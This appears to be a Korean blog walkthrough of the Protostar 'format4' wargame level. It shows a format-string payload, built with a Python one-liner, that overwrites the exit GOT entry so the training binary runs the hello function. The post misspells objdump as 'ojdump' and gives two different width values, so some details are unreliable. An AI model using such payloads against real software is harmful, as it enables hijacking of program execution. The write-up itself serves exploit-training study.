반응형
%p format4 looks at one method of redirecting execution in a process.
Hints:
objdump -TR is your friend
This level is at /opt/protostar/bin/format4
대충 보니, 여기에서 코드를 실행하면서 hello함수를 실행하도록 수정해야할 것 같다.
exit함수가 호출될 때 hello함수가 오도록 수정해봐야겠다.
(python -c 'print "AAAA" + "%08x"*4) | ./format4
이걸로 한번 확인해보니 4번째에 AAAA가 확인된다.
이제 주소를 확인해봐야 한다.
ojdump -TR format4 | grep exit
아까 힌트에 있었던 걸 사용하려고 한다.
알고자 하는 주소를 grep 뒤에 적는다.
ojdump -t format4 | grep hello
hello 함수 주소를 알아본다.
->0x080484b4(결과)
->134513844(10진수)
(python -c 'print "\x24\x97\x04\x08" + "%08x"*2 + "134513844x%n"')|./format4
exit주소를 일단 넣고, %08x * 2를 넣은 후 우리가 계산한 것의 x%n을 넣는다.
hello함수 주소의 10진수 값을 넣었다.
일단 계산한 10진수 앞의 수식을 보자.
앞에만 계산해보면 \x24\x97~ 4바이트 + %08x * 2(8x2 = 16) = 20의 크기를 가진다.
그래서 134513844 - 20 = 134513824을 뒤에 넣으면 되는 것이다.
반응형
'system' 카테고리의 다른 글
[protostar]heap1.c (0) | 2020.11.11 |
---|---|
[protostar]heap0 (0) | 2020.11.07 |
[protostar]format3 (0) | 2020.11.05 |
[protostar]format2 (0) | 2020.11.04 |
[protostar]Format1 (0) | 2020.11.03 |